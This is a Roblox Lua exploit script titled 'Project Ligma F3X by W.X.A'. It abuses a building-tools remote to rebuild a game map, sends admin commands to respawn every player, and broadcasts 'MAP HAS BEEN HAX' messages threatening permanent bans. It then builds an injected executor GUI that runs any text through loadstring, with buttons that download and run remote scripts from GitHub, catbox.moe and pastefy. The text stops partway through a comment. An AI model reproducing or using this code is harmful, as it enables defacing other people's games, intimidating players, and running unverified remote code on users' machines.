if P[546] then collisionBatch[#collisionBatch+1] = {Part = P[546], CanCollide = true} end
if P[724] then collisionBatch[#collisionBatch+1] = {Part = P[724], CanCollide = true} end
if P[482] then collisionBatch[#collisionBatch+1] = {Part = P[482], CanCollide = true} end
if P[603] then collisionBatch[#collisionBatch+1] = {Part = P[603], CanCollide = true} end
if P[639] then collisionBatch[#collisionBatch+1] = {Part = P[639], CanCollide = true} end
if P[716] then collisionBatch[#collisionBatch+1] = {Part = P[716], CanCollide = true} end
if P[265] then collisionBatch[#collisionBatch+1] = {Part = P[265], CanCollide = true} end
if P[552] then collisionBatch[#collisionBatch+1] = {Part = P[552], CanCollide = true} end
if P[709] then collisionBatch[#collisionBatch+1] = {Part = P[709], CanCollide = true} end
if P[674] then collisionBatch[#collisionBatch+1] = {Part = P[674], CanCollide = true} end
if P[87] then collisionBatch[#collisionBatch+1] = {Part = P[87], CanCollide = true} end
if P[583] then collisionBatch[#collisionBatch+1] = {Part = P[583], CanCollide = true} end
if P[256] then collisionBatch[#collisionBatch+1] = {Part = P[256], CanCollide = true} end
if P[105] then collisionBatch[#collisionBatch+1] = {Part = P[105], CanCollide = true} end
if P[516] then collisionBatch[#collisionBatch+1] = {Part = P[516], CanCollide = true} end
if P[682] then collisionBatch[#collisionBatch+1] = {Part = P[682], CanCollide = true} end
if P[485] then collisionBatch[#collisionBatch+1] = {Part = P[485], CanCollide = true} end
if P[564] then collisionBatch[#collisionBatch+1] = {Part = P[564], CanCollide = true} end
if P[665] then collisionBatch[#collisionBatch+1] = {Part = P[665], CanCollide = true} end
if P[430] then collisionBatch[#collisionBatch+1] = {Part = P[430], CanCollide = true} end
if P[543] then collisionBatch[#collisionBatch+1] = {Part = P[543], CanCollide = true} end
if P[662] then collisionBatch[#collisionBatch+1] = {Part = P[662], CanCollide = true} end
if P[659] then collisionBatch[#collisionBatch+1] = {Part = P[659], CanCollide = true} end
if P[591] then collisionBatch[#collisionBatch+1] = {Part = P[591], CanCollide = true} end
if P[513] then collisionBatch[#collisionBatch+1] = {Part = P[513], CanCollide = true} end
if P[454] then collisionBatch[#collisionBatch+1] = {Part = P[454], CanCollide = true} end
if P[458] then collisionBatch[#collisionBatch+1] = {Part = P[458], CanCollide = true} end
if P[451] then collisionBatch[#collisionBatch+1] = {Part = P[451], CanCollide = true} end
if P[644] then collisionBatch[#collisionBatch+1] = {Part = P[644], CanCollide = true} end
batchCollision(endpoint, collisionBatch)
local lockTasks, nameTasks = {}, {}
if P[21] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[21], "P") end) end
if P[22] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[22], "D") end) end
if P[23] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[23], "L") end) end
if P[24] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[24], "L") end) end
if P[25] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[25], "E") end) end
if P[26] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[26], "D") end) end
if P[27] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[27], "R") end) end
if P[28] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[28], "O") end) end
if P[29] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[29], "R") end) end
if P[30] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[30], "A") end) end
if P[31] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[31], "P") end) end
if P[32] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[32], "D") end) end
if P[33] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[33], "ThreeDTextHandle") end) end
if P[34] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[34], "T") end) end
if P[35] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[35], "E") end) end
if P[36] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[36], "M") end) end
if P[37] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[37], "B") end) end
if P[38] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[38], "A") end) end
if P[39] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[39], "T") end) end
if P[40] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[40], "A") end) end
if P[41] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[41], "ThreeDTextBoundingBox") end) end
if P[42] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[42], "Y") end) end
if P[43] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[43], "E") end) end
if P[44] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[44], "O") end) end
if P[45] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[45], "I") end) end
if P[46] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[46], "E") end) end
if P[151] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[151], "HumanoidRootPart") end) end
if P[673] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[673], "DropZone4") end) end
if P[675] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[675], "Truss") end) end
if P[166] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[166], true) end) end
if P[166] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[166], "RightUpperLeg") end) end
if P[435] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[435], "Deca") end) end
if P[175] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[175], true) end) end
if P[175] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[175], "RightUpperArm") end) end
if P[663] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[663], "Part1") end) end
if P[648] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[648], "SpawnLocation2") end) end
if P[82] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[82], true) end) end
if P[82] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[82], "Handle") end) end
if P[204] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[204], true) end) end
if P[204] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[204], "UpperTorso") end) end
if P[114] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[114], true) end) end
if P[114] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[114], "LeftFoot") end) end
if P[670] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[670], "DropZone3") end) end
if P[271] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[271], "ScoreBlock") end) end
if P[532] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[532], "MeshPart") end) end
if P[671] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[671], "DropZone1") end) end
if P[268] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[268], "LightSource") end) end
if P[653] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[653], "SpawnLocation3") end) end
if P[661] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[661], "Truss") end) end
if P[186] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[186], true) end) end
if P[186] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[186], "Head") end) end
if P[646] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[646], "SpawnLocation1") end) end
if P[132] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[132], true) end) end
if P[132] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[132], "LowerTorso") end) end
if P[157] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[157], true) end) end
if P[157] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[157], "RightLowerLeg") end) end
if P[247] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[247], true) end) end
if P[247] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[247], "RightHand") end) end
if P[660] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[660], "Truss") end) end
if P[672] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[672], "DropZone5") end) end
if P[123] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[123], true) end) end
if P[123] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[123], "LeftHand") end) end
if P[238] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[238], true) end) end
if P[238] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[238], "LeftLowerArm") end) end
if P[227] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[227], true) end) end
if P[227] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[227], "LeftUpperArm") end) end
if P[96] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[96], true) end) end
if P[96] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[96], "LeftUpperLeg") end) end
if P[265] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[265], "UpdateBoardTimer") end) end
if P[674] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[674], "DropZone2") end) end
if P[87] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[87], true) end) end
if P[87] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[87], "RightFoot") end) end
if P[256] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[256], true) end) end
if P[256] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[256], "RightLowerArm") end) end
if P[105] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[105], true) end) end
if P[105] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[105], "LeftLowerLeg") end) end
if P[659] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[659], "Truss") end) end
task.wait(0.2)
if P[575] then
task.spawn(function()
createMesh(endpoint, P[575])
syncMeshType(endpoint, P[575], Enum.MeshType.Wedge)
syncMeshScale(endpoint, P[575], Vector3.new(1,1,1))
syncMeshOffset(endpoint, P[575], Vector3.new(0,0,0))
end)
end
if P[595] then
task.spawn(function()
createMesh(endpoint, P[595])
syncMeshType(endpoint, P[595], Enum.MeshType.FileMesh)
syncMeshScale(endpoint, P[595], Vector3.new(0.4843750298023224,1.9375001192092896,0.4843750298023224))
syncMeshOffset(endpoint, P[595], Vector3.new(0,0,0))
syncMeshId(endpoint, P[595], "http://www.roblox.com/asset/?id=3270017")
end)
end
task.wait(0.3)
if P[72] then
task.spawn(function()
createDecal(endpoint, P[72], Enum.NormalId.Right)
setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Right)
end)
end
if P[72] then
task.spawn(function()
createDecal(endpoint, P[72], Enum.NormalId.Front)
setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Front)
end)
end
if P[72] then
task.spawn(function()
createDecal(endpoint, P[72], Enum.NormalId.Left)
setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Left)
end)
end
if P[72] then
task.spawn(function()
createDecal(endpoint, P[72], Enum.NormalId.Top)
setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Top)
end)
end
if P[72] then
task.spawn(function()
createDecal(endpoint, P[72], Enum.NormalId.Back)
setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Back)
end)
end
if P[186] then
task.spawn(function()
createDecal(endpoint, P[186], Enum.NormalId.Front)
setDecalTexture(endpoint, P[186], "http://www.roblox.com/asset/?id=144080495 ", Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059139679", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059199929", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059086913", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059079081", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059235017", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059122107", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059235017", Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059062216", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059187920", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059100365", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059207998", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[435] then
task.spawn(function()
createDecal(endpoint, P[435], Enum.NormalId.Front)
setDecalTexture(endpoint, P[435], "rbxassetid://13059164385", Enum.NormalId.Front)
setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
end)
end
if P[644] then
task.spawn(function()
createDecal(endpoint, P[644], Enum.NormalId.Top)
setDecalTexture(endpoint, P[644], "rbxassetid://83686330220442", Enum.NormalId.Top)
end)
end
if P[646] then
task.spawn(function()
createDecal(endpoint, P[646], Enum.NormalId.Top)
setDecalTexture(endpoint, P[646], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
end)
end
if P[648] then
task.spawn(function()
createDecal(endpoint, P[648], Enum.NormalId.Top)
setDecalTexture(endpoint, P[648], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
end)
end
if P[650] then
task.spawn(function()
createDecal(endpoint, P[650], Enum.NormalId.Top)
setDecalTexture(endpoint, P[650], "rbxassetid://83686330220442", Enum.NormalId.Top)
end)
end
if P[653] then
task.spawn(function()
createDecal(endpoint, P[653], Enum.NormalId.Top)
setDecalTexture(endpoint, P[653], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
end)
end
if P[657] then
task.spawn(function()
createDecal(endpoint, P[657], Enum.NormalId.Top)
setDecalTexture(endpoint, P[657], "rbxassetid://83686330220442", Enum.NormalId.Top)
end)
end
if P[665] then
task.spawn(function()
createDecal(endpoint, P[665], Enum.NormalId.Top)
setDecalTexture(endpoint, P[665], "rbxassetid://83686330220442", Enum.NormalId.Top)
end)
end
if P[667] then
task.spawn(function()
createDecal(endpoint, P[667], Enum.NormalId.Top)
setDecalTexture(endpoint, P[667], "rbxassetid://83686330220442", Enum.NormalId.Top)
end)
end
if P[677] then
task.spawn(function()
createDecal(endpoint, P[677], Enum.NormalId.Top)
setDecalTexture(endpoint, P[677], "rbxassetid://83686330220442", Enum.NormalId.Top)
end)
end
task.wait(0.3)
if P[268] then
task.spawn(function()
createLight(endpoint, P[268], "SpotLight")
syncLight(endpoint, P[268], "SpotLight", 10, 16, Color3.new(1,1,1), false, nil, 90)
end)
end
if P[435] then
task.spawn(function()
createLight(endpoint, P[435], "SurfaceLight")
syncLight(endpoint, P[435], "SurfaceLight", 3, 20, Color3.new(1,1,1), true, Enum.NormalId.Front, 90)
end)
end
task.wait(0.3)
local G = {}
task.spawn(function()
G[536] = createGroup(endpoint, "Model", workspace, {537,540,543,546,549,552,555,558,561,564,567})
setName(endpoint, G[536], "FallingModel2")
end)
task.spawn(function()
G[715] = createGroup(endpoint, "Model", workspace, {716,720,724,729,732,736,741,745,751,755,761,767,770,773})
setName(endpoint, G[715], "FallingModel4")
end)
task.spawn(function()
G[463] = createGroup(endpoint, "Model", workspace, {464,467,470,473,476,479,482,485,488,491,494})
setName(endpoint, G[463], "FallingModel2")
end)
task.spawn(function()
G[52] = createGroup(endpoint, "Model", workspace, {87,96,105,114,123,132,151,157,166,175,186,204,227,238,247,256})
setName(endpoint, G[52], "Rig")
end)
task.spawn(function()
G[681] = createGroup(endpoint, "Model", workspace, {682,685,688,691,694,697,700,703,706,709,712})
setName(endpoint, G[681], "FallingModel2")
end)
task.spawn(function()
G[4] = createGroup(endpoint, "Model", workspace, {265,268,270,271,428})
setName(endpoint, G[4], "TimePlayedLeaderboard")
end)
task.spawn(function()
G[7] = createGroup(endpoint, "Model", workspace, {8,9,10,11,12})
setName(endpoint, G[7], "Pole")
end)
task.spawn(function()
G[497] = createGroup(endpoint, "Model", workspace, {498,501,504,507,510,513,516,519,522,525,528})
setName(endpoint, G[497], "FallingModel2")
end)
task.spawn(function()
G[13] = createGroup(endpoint, "Model", workspace, {14,15,16,17,18})
setName(endpoint, G[13], "Pole")
end)
task.spawn(function()
G[570] = createGroup(endpoint, "Model", workspace, {571,575,579,583,587,591,595,599,603,607,611,615,619,623,627,631,635,639})
setName(endpoint, G[570], "FallingModel6")
end)
task.spawn(function()
G[71] = createGroup(endpoint, "Model", workspace, {72,78})
setName(endpoint, G[71], "Pedestal")
end)
task.spawn(function()
G[19] = createGroup(endpoint, "Model", workspace, {21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46})
setName(endpoint, G[19], "ThreeDTextObject")
end)
task.spawn(function()
G[429] = createGroup(endpoint, "Model", workspace, {430,433,435,451,454,456,458,461})
setName(endpoint, G[429], "Nyan-Cat TV")
end)
task.spawn(function()
G[531] = createGroup(endpoint, "Model", workspace, {532})
setName(endpoint, G[531], "FallingModel5")
end)
task.wait(0.3)
task.wait(0.5)
local missed = {}
for id, part in pairs(P) do
if part and not part.Anchored then
missed[#missed+1] = {Part = part, Anchored = true}
end
end
if #missed > 0 then
print("Fixing", #missed, "missed anchor(s)...")
for i = 1, #missed, 100 do
local chunk = {}
for j = i, math.min(i+99, #missed) do
chunk[#chunk+1] = missed[j]
end
endpoint:InvokeServer("SyncAnchor", chunk)
task.wait()
end
end
RequestCommand:InvokeServer(";res all")
task.wait(0.2)
RequestCommand:InvokeServer(";re all")
task.wait(0.2)
RequestCommand:InvokeServer(";sm MAP HAS BEEN HAX BY W.X.A And x9d uwu :3! IF YOU GO BACK INTO THE GAME AND DON'T COMPLETE THIS OBBY YOU WILL BE PERM BANNED! COMPLETE THIS OBBY AND YOU WILL BE PUT BACK INTO THE NORMAL GAME")
task.wait(0.1)
RequestCommand:InvokeServer(";sh MAP HAS BEEN HAX BY W.X.A And x9d uwu :3! IF YOU GO BACK INTO THE GAME AND DON'T COMPLETE THIS OBBY YOU WILL BE PERM BANNED! COMPLETE THIS OBBY AND YOU WILL BE PUT BACK INTO THE NORMAL GAME")
task.wait(0.1)
RequestCommand:InvokeServer(";music 99821204090088 ;pitch 0.1 ;volume inf")
end)
end;
task.spawn(C_55);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_57()
local script = G2L["57"];
script.Parent.MouseButton1Click:Connect(function()
local ligmaXD = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local execute = Instance.new("TextButton")
local clear = Instance.new("TextButton")
local TextLabel = Instance.new("TextLabel")
local image = Instance.new("ImageLabel")
local TextBox = Instance.new("TextBox")
local exit = Instance.new("TextButton")
local Frame_2 = Instance.new("Frame")
local gcg = Instance.new("TextButton")
local tuff = Instance.new("TextButton")
local gguns = Instance.new("TextButton")
local infyield = Instance.new("TextButton")
local oneg = Instance.new("TextButton")
local cmess = Instance.new("TextButton")
local ImageLabel = Instance.new("ImageLabel")
local TextLabel_2 = Instance.new("TextLabel")
--Properties:
ligmaXD.Name = "ligmaXD"
ligmaXD.Parent = game.CoreGui
Frame.Parent = ligmaXD
Frame.Active = true
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.Position = UDim2.new(0.187817261, 0, 0.21384424, 0)
Frame.Size = UDim2.new(0, 790, 0, 431)
execute.Name = "execute"
execute.Parent = Frame
execute.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
execute.Position = UDim2.new(0.698806822, 0, 0.0863522813, 0)
execute.Size = UDim2.new(0, 75, 0, 200)
execute.Font = Enum.Font.SourceSans
execute.Text = "EXE"
execute.TextColor3 = Color3.fromRGB(0, 0, 0)
execute.TextSize = 14.000
clear.Name = "clear"
clear.Parent = Frame
clear.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
clear.Position = UDim2.new(0.698806822, 0, 0.550389409, 0)
clear.Size = UDim2.new(0, 75, 0, 176)
clear.Font = Enum.Font.SourceSans
clear.Text = "CLEAR"
clear.TextColor3 = Color3.fromRGB(0, 0, 0)
clear.TextSize = 14.000
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(0.0428340882, 0, 0, 0)
TextLabel.Size = UDim2.new(0, 602, 0, 22)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = "Project Ligma F3X by W.X.A"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextSize = 14.000
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
image.Name = "image"
image.Parent = Frame
image.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
image.BorderSizePixel = 0
image.Size = UDim2.new(0, 23, 0, 22)
image.Image = "rbxassetid://87162794"
TextBox.Parent = Frame
TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox.Position = UDim2.new(0.0159489494, 0, 0.0863522813, 0)
TextBox.Size = UDim2.new(0, 540, 0, 376)
TextBox.ClearTextOnFocus = false
TextBox.Font = Enum.Font.SourceSans
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox.TextSize = 14.000
TextBox.TextXAlignment = Enum.TextXAlignment.Left
TextBox.TextYAlignment = Enum.TextYAlignment.Top
exit.Name = "exit"
exit.Parent = Frame
exit.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
exit.BorderSizePixel = 0
exit.Position = UDim2.new(0.958532691, 0, 0.00262467191, 0)
exit.Size = UDim2.new(0, 26, 0, 19)
exit.Font = Enum.Font.SourceSans
exit.Text = "X"
exit.TextColor3 = Color3.fromRGB(0, 0, 0)
exit.TextSize = 14.000
Frame_2.Parent = Frame
Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame_2.Position = UDim2.new(0.806329131, 0, 0.0904872417, 0)
Frame_2.Size = UDim2.new(0, 145, 0, 374)
gcg.Name = "gcg"
gcg.Parent = Frame_2
gcg.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
gcg.Position = UDim2.new(0, 0, 0.120525256, 0)
gcg.Size = UDim2.new(0, 145, 0, 23)
gcg.Font = Enum.Font.SourceSans
gcg.Text = "NYXES GUI F3X"
gcg.TextColor3 = Color3.fromRGB(0, 0, 0)
gcg.TextSize = 14.000
gguns.Name = "gguns"
gguns.Parent = Frame_2
gguns.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
gguns.Position = UDim2.new(0, 0, 0.0600222014, 0)
gguns.Size = UDim2.new(0, 145, 0, 23)
gguns.Font = Enum.Font.SourceSans
gguns.Text = "UZI gun"
gguns.TextColor3 = Color3.fromRGB(0, 0, 0)
gguns.TextSize = 14.000
infyield.Name = "infyield"
infyield.Parent = Frame_2
infyield.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
infyield.Position = UDim2.new(0, 0, -0.000480814837, 0)
infyield.Size = UDim2.new(0, 145, 0, 23)
infyield.Font = Enum.Font.SourceSans
infyield.Text = "kidnapper police"
infyield.TextColor3 = Color3.fromRGB(0, 0, 0)
infyield.TextSize = 14.000
oneg.Name = "oneg"
oneg.Parent = Frame_2
oneg.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
oneg.Position = UDim2.new(0, 0, 0.181028321, 0)
oneg.Size = UDim2.new(0, 145, 0, 23)
oneg.Font = Enum.Font.SourceSans
oneg.Text = "Polaria"
oneg.TextColor3 = Color3.fromRGB(0, 0, 0)
oneg.TextSize = 14.000
cmess.Name = "cmess"
cmess.Parent = Frame_2
cmess.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
cmess.Position = UDim2.new(0, 0, 0.241531447, 0)
cmess.Size = UDim2.new(0, 145, 0, 23)
cmess.Font = Enum.Font.SourceSans
cmess.Text = "f3x abuser"
cmess.TextColor3 = Color3.fromRGB(0, 0, 0)
cmess.TextSize = 14.000
ImageLabel.Parent = ligmaXD
ImageLabel.Active = true
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BackgroundTransparency = 1.000
ImageLabel.Position = UDim2.new(-0.127000004, 0, 0.407999992, 0)
ImageLabel.Size = UDim2.new(0, 90, 0, 90)
ImageLabel.Image = "rbxassetid://87162794"
TextLabel_2.Parent = ImageLabel
TextLabel_2.Active = true
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.Position = UDim2.new(0.99999994, 0, 0, 0)
TextLabel_2.Size = UDim2.new(0, 269, 0, 90)
TextLabel_2.Font = Enum.Font.SourceSansBold
TextLabel_2.LineHeight = 1.100
TextLabel_2.Text = "Project Ligma f3x by W.X.A Run scripts live without filthy modules or converting! Use the external program to execute scripts. Status: Injected"
TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 15.000
TextLabel_2.TextTransparency = 1.000
TextLabel_2.TextWrapped = true
-- Scripts:
local function OLFCRNW_fake_script() -- execute.execrip
local script = Instance.new('Script', execute)
loadstring(script.Parent.Parent.TextBox.Text)()
end
coroutine.wrap(OLFCRNW_fake_script)()
local function UGLYR_fake_script() -- clear.clerscrip
local script = Instance.new('Script', clear)
script.Parent.MouseButton1Click:Connect(function(plr)
script.Parent.Parent.TextBox.Text = " "
end)
end
coroutine.wrap(UGLYR_fake_script)()
local function YRHUUF_fake_script() -- Frame.drag
local script = Instance.new('LocalScript', Frame)
script.Parent.Draggable = true
end
coroutine.wrap(YRHUUF_fake_script)()
local function RGKBZD_fake_script() -- exit.excrip
local script = Instance.new('Script', exit)
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent:Destroy()
end)
end
coroutine.wrap(RGKBZD_fake_script)()
local function TWYE_fake_script() -- gcg.gcgs
local script = Instance.new('LocalScript', gcg)
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
loadstring(game:HttpGet("https://raw.githubusercontent.com/esivydkin-eng/nyxes-F3X-gui-original-source/refs/heads/main/NYXES%20F3X%20GUI%20V2"))(true)
end)
end
coroutine.wrap(TWYE_fake_script)()
local function DVROF_fake_script() -- gguns.gguns
local script = Instance.new('LocalScript', gguns)
script.Parent.MouseButton1Click:Connect(function()
rq:InvokeServer(";shirt me 1313573671")
rq:InvokeServer(";pants me 6458756358")
loadstring(game:HttpGet("https://files.catbox.moe/o5iwhr.txt"))()
end)
end
coroutine.wrap(DVROF_fake_script)()
local function XZQXAR_fake_script() -- infyield.iys
local script = Instance.new('LocalScript', infyield)
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet"https://pastefy.app/Qg93HAkl/raw")()
end)
end
coroutine.wrap(XZQXAR_fake_script)()
local function FNVRQD_fake_script() -- oneg.onegs
local script = Instance.new('LocalScript', oneg)
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet"https://files.catbox.moe/jie1d1.txt")()
end)
end
coroutine.wrap(FNVRQD_fake_script)()
local function TKTEZTF_fake_script() -- cmess.cmessS
local script = Instance.new('LocalScript', cmess)
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
By W.X.A (me)
